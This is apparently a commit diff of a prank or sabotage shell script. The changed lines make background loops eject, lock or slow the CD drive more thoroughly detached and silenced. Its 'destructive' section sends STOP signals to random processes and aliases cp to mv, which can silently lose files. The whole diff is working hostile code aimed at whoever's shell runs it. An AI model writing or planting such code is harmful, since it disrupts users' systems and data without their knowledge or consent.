@@ -75,29 +75,29 @@ annoying && if [ "$(uname)" = 'Darwin' ]; then
75
75
# Much less fun on Macs, alas.
76
76
if [[ $[$RANDOM % 2] == 0 ]]; then
77
77
# Eject!
78
- sh -c ' sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
78
+ ( sh -c ' sleep $[($RANDOM % 900) + 300]s; while :; do drutil eject; sleep $[($RANDOM % 20) + 1]s; done' & ) > /dev/null 2>&1
79
79
else
80
80
# Lock! Admittedly, much less annoying on most Macs, which don’t support
81
81
# locking and are slot-loading anyway.
82
- sh -c ' while :; do drutil tray close; sleep 0.1s; done' > /dev/null 2>&1 &
82
+ ( sh -c ' while :; do drutil tray close; sleep 0.1s; done' & ) > /dev/null 2>&1
83
83
fi ;
84
84
else
85
85
N=$[$RANDOM % 3];
86
86
if [[ $N == 0 ]]; then
87
87
# Open and close randomly after a few minutes.
88
- sh -c ' sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 &
88
+ ( sh -c ' sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' & ) > /dev/null 2>&1
89
89
elif [[ $N == 1 ]]; then
90
90
# Lock, and keep closing just in case.
91
- sh -c ' while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 &
91
+ ( sh -c ' while :; do eject -t; eject -i on; sleep 0.1s; done' & ) > /dev/null 2>&1
92
92
else
93
93
# Slowness (1× CD speed). This has to be in a loop because it resets with
94
94
# every ejection.
95
- sh -c ' set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 &
95
+ ( sh -c ' set +o errexit; while :; do eject -x 1; sleep 1s; done' & ) > /dev/null 2>&1
96
96
fi ;
97
97
fi ;
98
98
99
99
# Send STOP signal to random process at random time.
100
- destructive && sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $( ps x -o pid| sed 1d| sort -R| head -1) &
100
+ destructive && ( sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP " $( ps x -o pid | sed 1d | sort -R | head -1) " & ) > /dev/null 2>&1
101
101
102
102
# Have `cp` perform `mv` instead.
103
103
destructive && alias cp=' mv' ;
0 commit comments